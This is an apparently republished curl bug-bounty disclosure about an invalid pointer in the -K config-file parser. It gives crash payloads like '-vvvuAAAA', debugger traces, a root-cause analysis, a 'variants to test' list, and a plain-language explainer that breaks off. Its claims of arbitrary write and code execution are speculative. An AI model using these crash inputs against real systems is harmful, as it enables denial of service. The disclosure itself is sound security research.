Skip to content
Memory corruption Disclosed report Advanced

Heap‑based buffer overflow in curl -K <config_file> allows arbitrary write .

A heap-based buffer overflow in curl's config-file parser allows an attacker supplying a crafted config file to overwrite internal pointers, leading to a write-what-where primitive and potential remote code execution.

bsr13 Follow

Originally disclosed on HackerOne

  • Disclosed after 12 days

Summary:

A heap‑based buffer overflow in curl’s config‑file parser (parseconfig() --> getparameter()) allows an attacker supplying a crafted config file to overwrite internal pointers (via cleanarg()), leading to a write‑what‑where primitive and potential remote code execution.

Affected version

-curl 8.13.0 (x86_64-pc-linux-gnu) libcurl/8.13.0 OpenSSL/3.0.13 libpsl/0.21.2 Release-Date: 2025-04-02

  • or any Version after version 8.13.0 (dev-versions) that include cleanarg() and have writable argv support

Steps To Reproduce:

  • tested on both Ubuntu 24.04.1 [Linux bobo-pc-1701 6.11.0-21-generic #21~24.04.1-Ubuntu ] AND Kali 6.11.2-1kali1 [Linux kali 6.11.2-amd64]
  1. Download the last release from github and unizp it: wget https://github.com/curl/curl/releases/download/curl-8_13_0/curl-8.13.0.zip && unzip curl-8.13.0.zip && cd curl-8.13.0

  2. Build and install: ./configure --with-openssl make all && sudo make install curl --version

  3. -The crash could be caused by crafted config file that contains one of this payloads; -> It could be appended anywhere in new line in config-file; -> All the inputs lead to one crash path.

      echo -ne "-vvvuAAAA" > malicious_config_file1.conf     (u for --user <user:password> )
      echo -ne "-vvvUAAAA" > malicious_config_file2.conf     (U for --proxy-user <user:password> )
      echo -ne "-vvvEAAAA" > malicious_config_file3.conf     (E for --cert <certificate[:password]> )
    
  4. curl -K malicious_config_file1.conf
    zsh: segmentation fault curl -K malicious_config_file1.conf ---------------- Or ------------------ curl -K malicious_config_file2.conf zsh: segmentation fault curl -K malicious_config_file2.conf ---------------- Or ------------------ curl -K malicious_config_file3.conf zsh: segmentation fault curl -K malicious_config_file3.conf

sudo dmesg |tail -n 6

    [176771.791272] curl[132987]: segfault at 5 ip 00007f3a8db8b75d sp 00007ffd419fd958 error 4 in libc.so.6[18b75d,7f3a8da28000+188000] likely on CPU 3 (core 3, socket 0)
    [176771.791357] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

    [176778.655937] curl[132996]: segfault at 5 ip 0000792ad5f8b75d sp 00007fff028cfc18 error 4 in libc.so.6[18b75d,792ad5e28000+188000] likely on CPU 6 (core 2, socket 1)
    [176778.656011] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

    [176783.987409] curl[133003]: segfault at 5 ip 000079c33cd8b75d sp 00007ffe06464158 error 4 in libc.so.6[18b75d,79c33cc28000+188000] likely on CPU 0 (core 0, socket 0)
    [176783.987474] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

Triaging the crash:

1.To triage this we need to build with extra flags:

>> CFLAGS="-fsanitize=address,undefined -g -O0 -fno-omit-frame-pointer" ./configure --with-openssl    
>> make all && sudo make install 

2.Run curl : ------------------------------------- Asan output ---------------------------------- pc@pc22:~/Downloads$ curl -K malicious_config_file1.conf AddressSanitizer:DEADLYSIGNAL ------------------------------------------------------------------------------------ ==140300==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000005 (pc 0x72133b58b75d bp 0x7ffe1b2c0b20 sp 0x7ffe1b2c02a8 T0) ==140300==The signal is caused by a READ memory access. ==140300==Hint: address points to the zero page. #0 0x72133b58b75d in __strlen_avx2 ../sysdeps/x86_64/multiarch/strlen-avx2.S:76 #1 0x63e45d7996dc in cleanarg /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:583 #2 0x63e45d7b2d19 in getparameter /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:2901 #3 0x63e45d7b1ad8 in getparameter /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:2790 #4 0x63e45d7b4205 in parse_args /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:3016 #5 0x63e45d7b76ba in main /home/bobo/Downloads/curl-8.13.0/src/tool_main.c:284

  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV ../sysdeps/x86_64/multiarch/strlen-avx2.S:76 in __strlen_avx2
  ==140300==ABORTING
  • We can Also confirm the crash path using gdb (with GEF extension installed ):

    gdb curl (gef)> r -K malicious_config_file1.conf (gef)> where --------------------------------- gdb output ------------------------------------------------------ #0 __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:76 #1 0x00007ffff787d827 in ___interceptor_strlen (s=0x5 <error: Cannot access memory at address 0x5>) at ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:389 #2 0x00005555555926dd in cleanarg (str=0x5 <error: Cannot access memory at address 0x5>) at tool_getparam.c:583 #3 0x00005555555abd1a in getparameter (flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030, config=0x51a000000080) at tool_getparam.c:2901 #4 0x00005555555b9434 in parseconfig () #5 0x00005555555aaad9 in getparameter (flag=0x7fffffffe1b8 "K", nextarg=0x7fffffffe1ba "malicious_config_file1.conf", cleararg1=0x7fffffffe1b7 "-K", cleararg2=0x7fffffffe1ba "malicious_config_file1.conf", usedarg=0x7ffff4200030, global=0x7ffff4300030, config=0x51a000000080) at tool_getparam.c:2790 #6 0x00005555555ad206 in parse_args (global=0x7ffff4300030, argc=0x3, argv=0x7fffffffde48) at tool_getparam.c:3016 #7 0x00005555555b6a45 in operate () #8 0x00005555555b06bb in main (argc=0x3, argv=0x7fffffffde48) at tool_main.c:284 --------------------------------- Code ---------------------------------------------------------------------- 0x7ffff678b74d <__strlen_avx2+000d> and eax, 0xfff 0x7ffff678b752 <__strlen_avx2+0012> cmp eax, 0xfe0 0x7ffff678b757 <__strlen_avx2+0017> ja 0x7ffff678b890 <__strlen_avx2+336> → 0x7ffff678b75d <__strlen_avx2+001d> vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi] // $rdi = 0x5 so unvalid address 0x7ffff678b761 <__strlen_avx2+0021> vpmovmskb eax, ymm1 0x7ffff678b765 <__strlen_avx2+0025> test eax, eax 0x7ffff678b767 <__strlen_avx2+0027> je 0x7ffff678b7c0 <__strlen_avx2+128> 0x7ffff678b769 <__strlen_avx2+0029> tzcnt eax, eax 0x7ffff678b76d <__strlen_avx2+002d> vzeroupper


- From the above output we can see that: 
 1.the root cause of the crash is that strlen tried to load the data at invalid address (0x5), So it’s an invalid pointer dereference into unmapped memory.

 2. --------
 #2  0x00005555555926dd in cleanarg (str=0x5 <error: Cannot access memory at address 0x5>) at tool_getparam.c:583
 #3  0x00005555555abd1a in getparameter (flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030, 
    config=0x51a000000080) at tool_getparam.c:2901

 Moreever, we can see that the crash happened in `getparameter()` function tool_getparam.c:2901, which calls `cleanarg(clearthis)` with invalid address which passed to strlen.  

 3. In order to understand where is the invalid address come from , I set a breakpoint in gdb just before `cleanarg(clearthis)` in tool_getparam.c:2901 and tool_getparam.c:2900 ( - Not that for other options like --proxy-user [U] or --cert(E) you have to set breakpoints at different lines in tool_getparam.c )

   see:   https://github.com/curl/curl/blob/master/src/tool_getparam.c#L2898-L2902
2898     case C_USER: /* --user */
2899       /* user:password  */
2900       err = getstr(&config->userpwd, nextarg, ALLOW_BLANK); //------set break point here  ----
2901       cleanarg(clearthis);                                  //--------- set break point here  --------       
2902       break;

    >> gdb curl 
    (gef)> break tool_getparam.c:2900
    (gef)> break tool_getparam.c:2901
    (gef)> r -K malicious_config_file1.conf

          ──────────────────────source:tool_getparam.c+2900 ───────────────
2895	     case C_UPLOAD_FILE: /* --upload-file */
2896	       err = parse_upload_file(config, nextarg);
2897	       break;
2898	     case C_USER: /* --user */
2899	       /* user:password  */
// nextarg=0x00007fffffffd5a0  →  [...]  →  0xbebebe0041414141 ("AAAA"?), config=0x00007fffffffd578  →  [...]  →  0x0000000000000000
●-> 2900	       err = getstr(&config->userpwd, nextarg, ALLOW_BLANK);
●  2901	       cleanarg(clearthis);
2902	       break;
2903	     case C_PROXY_USER: /* --proxy-user */
2904	       /* Proxy user:password  */
2905	       err = getstr(&config->proxyuserpwd, nextarg, ALLOW_BLANK);
         ────────────── threads ─────────────
          [#0] Id 1, Name: "curl", stopped 0x5555555abc83 in getparameter (), reason: BREAKPOINT
          ────────────── trace ──────────────
          [#0] 0x5555555abc83 → getparameter(flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030, config=0x51a000000080)
          [#1] 0x5555555b9434 → parseconfig()
          [#2] 0x5555555aaad9 → getparameter(flag=0x7fffffffe1b9 "K", nextarg=0x7fffffffe1bb "malicious_config_file1.conf", cleararg1=0x7fffffffe1b8 "-K", cleararg2=0x7fffffffe1bb "malicious_config_file1.conf", usedarg=0x7ffff4200030, global=0x7ffff4300030, config=0x51a000000080)
          [#3] 0x5555555ad206 → parse_args(global=0x7ffff4300030, argc=0x3, argv=0x7fffffffde48)
          [#4] 0x5555555b6a45 → operate()
          [#5] 0x5555555b06bb → main(argc=0x3, argv=0x7fffffffde48)
          ──────────────────────────────────────────────────────────────

          (gef)> p clearthis 
               $1 = 0x5 <error: Cannot access memory at address 0x5>

         -> We hit at the first breakpoint and we confirmed that the clearthis value has been modified (invalid address)
         -> then we verified where the variable clearthis could be modified in the code (tool_getparam.c)

           See:   https://github.com/curl/curl/blob/master/src/tool_getparam.c#L1787-L1798
1787   #ifdef HAVE_WRITABLE_ARGV
1788           clearthis = &cleararg1[parse + 2 - flag];
1789   #endif
1790         }
1791         else if(!nextarg) {
1792           err = PARAM_REQUIRES_PARAMETER;
1793           break;
1794         }
1795         else {
1796   #ifdef HAVE_WRITABLE_ARGV
1797           clearthis = cleararg2;
1798   #endif
        -> Now we know that if the palfrom supports writable argv[], the clearthis is calculated with the following expression

                            ---> Clearthis = &cleararg1[parse + 2 - flag];     

              (gef)>  p &parse
                 $12 = (const char **) 0x7fffffffd5c0
              (gef)> p parse
                 $13 = 0x50300000f284 "uAAAA"
              ------------------------- 
              (gef)> p &flag 
                  $14 = (const char **) 0x7fffffffd5a8
              (gef)> p flag
                $15 = 0x50300000f281 "vvvuAAAA"
              -------------------------
              (gef)> p &cleararg1
                $16 = (char **) 0x7fffffffd598
              (gef) = p cleararg1
                $17 = 0x0
              -------------------------
              (gef)> p parse+2-flag     
                $17 = 0x5             // 0x50300000f284 +2 - 0x50300000f281

          -> From the above output we can see that the value of clearthis is: (2 +  the number of "v" letters [in our example ] = 0x5 ), which means that an attacker could partially control the what's written in [rdi] register which may lead to arbitrary read/write or code execution.

  ## Fix suggestions: 
     I'm not entirely sure this is the ideal fix since I'm not an expert in C programming, but here's the best approach I could come up with: 

    - Since we know exactly where clearthis is supposed to point (somewhere within the cleararg1 buffer), we can validate the pointer by ensuring it falls within the bounds of that buffer and points to a NUL-terminated string so we can safely use the pointer without risking out-of-bounds access or undefined behavior.

  ## Possible exploitation Scenarios: 
     - Chain multiple overwrites:  if an attacker managed to call cleanarg(), he might be able to accumulate a larger total write.

    - Achieving arbitrary code execution would be highly complex especially on x64 bit, However advanced exploitation techniques **such as partial pointer overwrites, feg shui or heap grooming (e.g., manipulating allocations to position attacker-controlled buffers adjacent to sensitive heap structures) ** could theoretically enable an attacker to overwrite function pointers and hijack control flow.

    - This also could leak heap contents (pointers or secrets)

    Note  that : ** the above attacks are more likely to occur in x86 bit architechure **

Supporting Material/References:

Impact

  • Arbitrary Write: An attacker might achieve a write‑what‑where condition, which allow to modify arbitrary memory locations within the process’s address space.

  • Potential Remote Code Execution: With advanced techniques (partial pointer overwrite, heap grooming, ...), the attacker could overwrite function pointers or return addresses, leading to full control of execution flow and the ability to run arbitrary code as the curl process.

  • Information Disclosure: pointing clearthis at attacker-chosen addresses and calling strlen() can leak heap contents (such as pointers, secrets, or other sensitive data) by returning string lengths or causing controlled crashes.

The original report as published on HackerOne, by bsr13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

curl is a command-line tool and library for transferring data with URLs. One of its user-facing features is the ability to read command-line options from a configuration file, passed with -K <config_file>. Internally, the config-file parser is parseconfig(), which hands each option it reads to getparameter(), the same function that processes options typed on the command line. When an option takes a value, getparameter() may call cleanarg() to scrub the value from the process's argument memory (for example, to avoid leaking a password in ps output).

The report describes a heap-based buffer overflow in this parser path, parseconfig() calling into getparameter(), where a crafted config file causes cleanarg() to receive an invalid pointer. The researcher classifies it as CWE-122, Heap-based Buffer Overflow, and describes the outcome as a write-what-where primitive with potential remote code execution.

Setup

The affected version stated in the report is:

Text
curl 8.13.0 (x86_64-pc-linux-gnu) libcurl/8.13.0 OpenSSL/3.0.13 libpsl/0.21.2
  Release-Date: 2025-04-02

The report also says the issue affects any version after 8.13.0 (dev-versions) that include cleanarg() and have writable argv support.

Testing was done on two systems:

  • Ubuntu 24.04.1, kernel 6.11.0-21-generic
  • Kali, kernel 6.11.2-1kali1

The researcher built curl from source. The steps are:

  1. Download and unpack the release:
Bash
wget https://github.com/curl/curl/releases/download/curl-8_13_0/curl-8.13.0.zip && unzip curl-8.13.0.zip && cd curl-8.13.0
  1. Build and install:
Bash
./configure --with-openssl
 make all && sudo make install
 curl --version

For triage, a second build is made with sanitizer flags:

Bash
CFLAGS="-fsanitize=address,undefined -g -O0 -fno-omit-frame-pointer" ./configure --with-openssl
 make all && sudo make install

No account, role or network precondition is described: the trigger is a local config file passed to curl -K.

Finding it

The researcher found that a config file containing certain short options followed by a value causes a segmentation fault. The payloads are described as being appendable anywhere on a new line in the config file, and all of them lead to the same crash path:

Bash
echo -ne "-vvvuAAAA" > malicious_config_file1.conf     (u for --user <user:password> )
echo -ne "-vvvUAAAA" > malicious_config_file2.conf     (U for --proxy-user <user:password> )
echo -ne "-vvvEAAAA" > malicious_config_file3.conf     (E for --cert <certificate[:password]> )

Each payload is a cluster of short options: three v flags, then an option that takes a value (u, U or E), then the value AAAA. Running curl with any of these files crashes:

Bash
curl -K malicious_config_file1.conf
zsh: segmentation fault  curl -K malicious_config_file1.conf
Bash
curl -K malicious_config_file2.conf
  zsh: segmentation fault  curl -K malicious_config_file2.conf
Bash
curl -K malicious_config_file3.conf
  zsh: segmentation fault  curl -K malicious_config_file3.conf

The kernel log confirms a fault at address 0x5 inside libc:

Text
>> sudo dmesg |tail -n 6

  [176771.791272] curl[132987]: segfault at 5 ip 00007f3a8db8b75d sp 00007ffd419fd958 error 4 in libc.so.6[18b75d,7f3a8da28000+188000] likely on CPU 3 (core 3, socket 0)
  [176771.791357] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

  [176778.655937] curl[132996]: segfault at 5 ip 0000792ad5f8b75d sp 00007fff028cfc18 error 4 in libc.so.6[18b75d,792ad5e28000+188000] likely on CPU 6 (core 2, socket 1)
  [176778.656011] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

  [176783.987409] curl[133003]: segfault at 5 ip 000079c33cd8b75d sp 00007ffe06464158 error 4 in libc.so.6[18b75d,79c33cc28000+188000] likely on CPU 0 (core 0, socket 0)
  [176783.987474] Code: 00 00 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

Exploitation

Step 1: reproduce the crash

Create a config file with one of the payloads and run curl against it:

Bash
echo -ne "-vvvuAAAA" > malicious_config_file1.conf
curl -K malicious_config_file1.conf

The -K option tells curl to read options from the file. Inside the file, -vvvuAAAA is parsed as the v flag three times followed by u (--user) with the value AAAA. The process segfaults.

Step 2: triage with AddressSanitizer

Rebuild with sanitizers and run the same command:

Text
pc@pc22:~/Downloads$ curl -K malicious_config_file1.conf
AddressSanitizer:DEADLYSIGNAL
------------------------------------------------------------------------------------
      ==140300==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000005 (pc 0x72133b58b75d bp 0x7ffe1b2c0b20 sp 0x7ffe1b2c02a8 T0)
      ==140300==The signal is caused by a READ memory access.
      ==140300==Hint: address points to the zero page.
          #0 0x72133b58b75d in __strlen_avx2 ../sysdeps/x86_64/multiarch/strlen-avx2.S:76
          #1 0x63e45d7996dc in cleanarg /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:583
          #2 0x63e45d7b2d19 in getparameter /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:2901
          #3 0x63e45d7b1ad8 in getparameter /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:2790
          #4 0x63e45d7b4205 in parse_args /home/bobo/Downloads/curl-8.13.0/src/tool_getparam.c:3016
          #5 0x63e45d7b76ba in main /home/bobo/Downloads/curl-8.13.0/src/tool_main.c:284

  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV ../sysdeps/x86_64/multiarch/strlen-avx2.S:76 in __strlen_avx2
  ==140300==ABORTING

The stack shows the crash is a read at address 0x5 inside __strlen_avx2, called from cleanarg() at tool_getparam.c:583, which was called from getparameter() at tool_getparam.c:2901. That getparameter() call was itself reached from parseconfig(), which was invoked from the outer getparameter() handling -K at tool_getparam.c:2790.

Step 3: confirm the path in gdb

The same crash is confirmed under gdb with the GEF extension:

Text
>> gdb curl
(gef)> r -K malicious_config_file1.conf
(gef)> where
--------------------------------- gdb output ------------------------------------------------------
  #0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:76
  #1  0x00007ffff787d827 in ___interceptor_strlen (s=0x5 <error: Cannot access memory at address 0x5>) at ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:389
  #2  0x00005555555926dd in cleanarg (str=0x5 <error: Cannot access memory at address 0x5>) at tool_getparam.c:583
  #3  0x00005555555abd1a in getparameter (flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030,
      config=0x51a000000080) at tool_getparam.c:2901
  #4  0x00005555555b9434 in parseconfig ()
  #5  0x00005555555aaad9 in getparameter (flag=0x7fffffffe1b8 "K", nextarg=0x7fffffffe1ba "malicious_config_file1.conf", cleararg1=0x7fffffffe1b7 "-K",
      cleararg2=0x7fffffffe1ba "malicious_config_file1.conf", usedarg=0x7ffff4200030, global=0x7ffff4300030, config=0x51a000000080) at tool_getparam.c:2790
  #6  0x00005555555ad206 in parse_args (global=0x7ffff4300030, argc=0x3, argv=0x7fffffffde48) at tool_getparam.c:3016
  #7  0x00005555555b6a45 in operate ()
  #8  0x00005555555b06bb in main (argc=0x3, argv=0x7fffffffde48) at tool_main.c:284
--------------------------------- Code ----------------------------------------------------------------------
      0x7ffff678b74d <__strlen_avx2+000d> and    eax, 0xfff
      0x7ffff678b752 <__strlen_avx2+0012> cmp    eax, 0xfe0
      0x7ffff678b757 <__strlen_avx2+0017> ja     0x7ffff678b890 <__strlen_avx2+336>
    → 0x7ffff678b75d <__strlen_avx2+001d> vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi]         // $rdi = 0x5 so unvalid address
      0x7ffff678b761 <__strlen_avx2+0021> vpmovmskb eax, ymm1
      0x7ffff678b765 <__strlen_avx2+0025> test   eax, eax
      0x7ffff678b767 <__strlen_avx2+0027> je     0x7ffff678b7c0 <__strlen_avx2+128>
      0x7ffff678b769 <__strlen_avx2+0029> tzcnt  eax, eax
      0x7ffff678b76d <__strlen_avx2+002d> vzeroupper
-------------------------------------------------------------------------------------------------------------

The researcher draws two conclusions from this output:

  1. The root cause of the crash is that strlen tried to load data at the invalid address 0x5, an invalid pointer dereference into unmapped memory.
  2. The crash happens in getparameter() at tool_getparam.c:2901, which calls cleanarg(clearthis) with an invalid address that is then passed to strlen.

Step 4: find where the invalid pointer comes from

To trace the origin of the invalid address, the researcher sets breakpoints just before cleanarg(clearthis) at tool_getparam.c:2900 and tool_getparam.c:2901. The report notes that for other options such as --proxy-user (U) or --cert (E) the breakpoints have to be set at different lines in tool_getparam.c.

The relevant code for --user is:

Text
2898     case C_USER: /* --user */
2899       /* user:password  */
2900       err = getstr(&config->userpwd, nextarg, ALLOW_BLANK); //------set break point here  ----
2901       cleanarg(clearthis);                                  //--------- set break point here  --------
2902       break;

Running under gdb:

Text
>> gdb curl
(gef)> break tool_getparam.c:2900
(gef)> break tool_getparam.c:2901
(gef)> r -K malicious_config_file1.conf

      ──────────────────────source:tool_getparam.c+2900 ───────────────
2895     case C_UPLOAD_FILE: /* --upload-file */
2896       err = parse_upload_file(config, nextarg);
2897       break;
2898     case C_USER: /* --user */
2899       /* user:password  */
// nextarg=0x00007fffffffd5a0  →  [...]  →  0xbebebe0041414141 ("AAAA"?), config=0x00007fffffffd578  →  [...]  →  0x0000000000000000
●-> 2900       err = getstr(&config->userpwd, nextarg, ALLOW_BLANK);
●  2901       cleanarg(clearthis);
2902       break;
2903     case C_PROXY_USER: /* --proxy-user */
2904       /* Proxy user:password  */
2905       err = getstr(&config->proxyuserpwd, nextarg, ALLOW_BLANK);
 ────────────── threads ─────────────
  [#0] Id 1, Name: "curl", stopped 0x5555555abc83 in getparameter (), reason: BREAKPOINT
 ────────────── trace ──────────────
  [#0] 0x5555555abc83 → getparameter(flag=0x50300000f281 "vvvuAAAA", nextarg=0x50300000f285 "AAAA", cleararg1=0x0, cleararg2=0x0, usedarg=0x7fffffffd79e, global=0x7ffff4300030, config=0x51a000000080)
  [#1] 0x5555555b9434 → parseconfig()
  [#2] 0x5555555aaad9 → getparameter(flag=0x7fffffffe1b9 "K", nextarg=0x7fffffffe1bb "malicious_config_file1.conf", cleararg1=0x7fffffffe1b8 "-K", cleararg2=0x7fffffffe1bb "malicious_config_file1.conf", usedarg=0x7ffff4200030, global=0x7ffff4300030, config=0x51a000000080)
  [#3] 0x5555555ad206 → parse_args(global=0x7ffff4300030, argc=0x3, argv=0x7fffffffde48)
  [#4] 0x5555555b6a45 → operate()
  [#5] 0x5555555b06bb → main(argc=0x3, argv=0x7fffffffde48)
  ──────────────────────────────────────────────────────────────

  (gef)> p clearthis
       $1 = 0x5 <error: Cannot access memory at address 0x5>
At the first breakpoint the researcher confirms that `clearthis` has already been modified to the invalid address `0x5`. The next step is to find where `clearthis` is assigned in `tool_getparam.c`:

```text
1787   #ifdef HAVE_WRITABLE_ARGV
1788           clearthis = &cleararg1[parse + 2 - flag];
1789   #endif
1790         }
1791         else if(!nextarg) {
1792           err = PARAM_REQUIRES_PARAMETER;
1793           break;
1794         }
1795         else {
1796   #ifdef HAVE_WRITABLE_ARGV
1797           clearthis = cleararg2;
1798   #endif

On platforms that support writable argv[], clearthis is computed as &cleararg1[parse + 2 - flag]. Inspecting the variables in gdb:

Text
(gef)>  p &parse
   $12 = (const char **) 0x7fffffffd5c0
(gef)> p parse
   $13 = 0x50300000f284 "uAAAA"
-----------------------
(gef)> p &flag
    $14 = (const char **) 0x7fffffffd5a8
(gef)> p flag
  $15 = 0x50300000f281 "vvvuAAAA"
-----------------------
(gef)> p &cleararg1
  $16 = (char **) 0x7fffffffd598
(gef) = p cleararg1
  $17 = 0x0
-----------------------
(gef)> p parse+2-flag
  $17 = 0x5             // 0x50300000f284 +2 - 0x50300000f281

The value of clearthis is 2 plus the number of v letters in the payload, which in this example gives 0x5. The researcher notes that this means an attacker could partially control what is written into the [rdi] register, which may lead to arbitrary read/write or code execution.

Root cause

The pointer arithmetic clearthis = &cleararg1[parse + 2 - flag] assumes that parse and flag point into the same buffer as cleararg1, so that the difference between them is a small offset within that buffer. The computed offset (2 plus the number of leading v flags) is used as an index into cleararg1, which is 0x0 in the trace. The result is the invalid pointer 0x5, which cleanarg() passes to strlen().

The report frames the underlying issue as a heap-based buffer overflow in the parseconfig() to getparameter() path, where cleanarg() is reached with a pointer that was never validated against the buffer it is supposed to point into. The report does not describe any specific defence that was bypassed; the assignment shown is compiled in when HAVE_WRITABLE_ARGV is defined.

Impact

The report lists three impacts:

  • Arbitrary write. An attacker might achieve a write-what-where condition, allowing modification of arbitrary memory locations within the process's address space.
  • Potential remote code execution. With advanced techniques (partial pointer overwrite, heap grooming and similar), the attacker could overwrite function pointers or return addresses, leading to control of execution flow and the ability to run arbitrary code as the curl process.
  • Information disclosure. Pointing clearthis at attacker-chosen addresses and calling strlen() can leak heap contents (such as pointers, secrets or other sensitive data) by returning string lengths or causing controlled crashes.

The report hedges the exploitation scenarios: chaining multiple overwrites could accumulate a larger total write; achieving arbitrary code execution would be highly complex, especially on x86-64; and the described attacks are noted as more likely to occur on x86 32-bit architecture.

Fix

The report offers a fix suggestion rather than a merged patch. The researcher states they are not an expert in C programming and are not certain this is the ideal fix. The suggestion is: since it is known exactly where clearthis is supposed to point (somewhere within the cleararg1 buffer), validate the pointer by ensuring it falls within the bounds of that buffer and points to a NUL-terminated string, so the pointer can be used safely without risking out-of-bounds access or undefined behaviour.

Variants to test

  • Other value-taking short options in a config file. The report shows u (--user), U (--proxy-user) and E (--cert). Try other short options that take a value, prefixed by a varying number of v flags, in a -K config file. A positive result is a segfault at a small address such as 0x5, or an ASan report pointing at cleanarg() from getparameter().
  • Vary the number of leading flags. The computed offset is 2 plus the number of v letters, so changing the count should change the faulting address. A positive result is a crash whose address tracks the flag count.
  • Other platforms with writable argv. The assignment shown is compiled in under HAVE_WRITABLE_ARGV. Test builds on platforms that define it and compare with builds that do not.
  • 32-bit builds. The report notes the described attacks are more likely to occur on x86 bit architecture. A positive result would be a crash that can be steered into a controlled write rather than a plain read fault.
  • Chained overwrites. The report suggests that chaining multiple overwrites might accumulate a larger total write. A positive result would be observable corruption of adjacent heap data across repeated invocations within one process.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

curl is a small program that runs in a terminal window and fetches things from the internet: web pages, files, API responses. It is used by people typing commands, but also by scripts and by other programs that call it behind the scenes. One of curl's conveniences is that you can put a long list of options into a text file and tell curl to read them from there with -K <config_file>, instead of typing them every time. That is handy for scripts that need the same settings over and over.

This report is about a bug in the code that reads that text file. If the file contains a particular short string, curl crashes. The researcher who wrote the report went further than the crash: they traced it down to a place where a pointer (think of a pointer as a street address written on a sticky note, telling the program where in memory to look) is calculated wrongly, and the program then tries to read from a nonsense address. Because the wrong address is partly built from characters the attacker controls, the researcher argues it could, in principle, be steered into writing to memory the attacker chooses. That is the kind of thing that can sometimes be turned into running an attacker's own code.

A few words you will meet throughout, explained once here:

  • Memory: the working space a running program uses to hold its data. Imagine a huge wall of numbered pigeonholes; each pigeonhole has an address (a number) and holds a value.
  • Pointer: a value that is itself an address of another pigeonhole. Like a note saying "look in box 4711".
  • Buffer: a reserved stretch of pigeonholes meant to hold a piece of data, such as a line of text.
  • Heap: the part of memory a program asks for dynamically while it runs, as opposed to memory reserved up front. Think of a storage unit you rent by the hour rather than a fixed shelf at home.
  • Buffer overflow: writing past the end of a reserved stretch of memory into neighbouring memory. Like pouring a litre of water into a half-litre glass: the extra goes somewhere it was not meant to.
  • Heap-based buffer overflow: the same idea, but the buffer lives on the heap.
  • Segmentation fault (segfault): the operating system's way of stopping a program that tried to touch memory it is not allowed to touch. The program is killed on the spot.
  • CWE-122: a catalogue number for "Heap-based Buffer Overflow" in the Common Weakness Enumeration, a public list of bug categories.
  • write-what-where: a nickname for a bug that lets an attacker choose both a value and an address to write it to. It is a powerful building block for further attacks.
  • Remote code execution (RCE): getting the target program to run code the attacker supplied.
  • Sanitizer: a debugging tool built into a program that watches memory accesses and shouts loudly when something is wrong, instead of letting the program crash mysteriously.
  • gdb: the GNU debugger, a tool that lets you pause a program mid-run, inspect its variables and step through its code.
  • GEF: an add-on for gdb that makes its output friendlier.
  • argv: the list of words you typed on the command line, as the program receives them.

Context

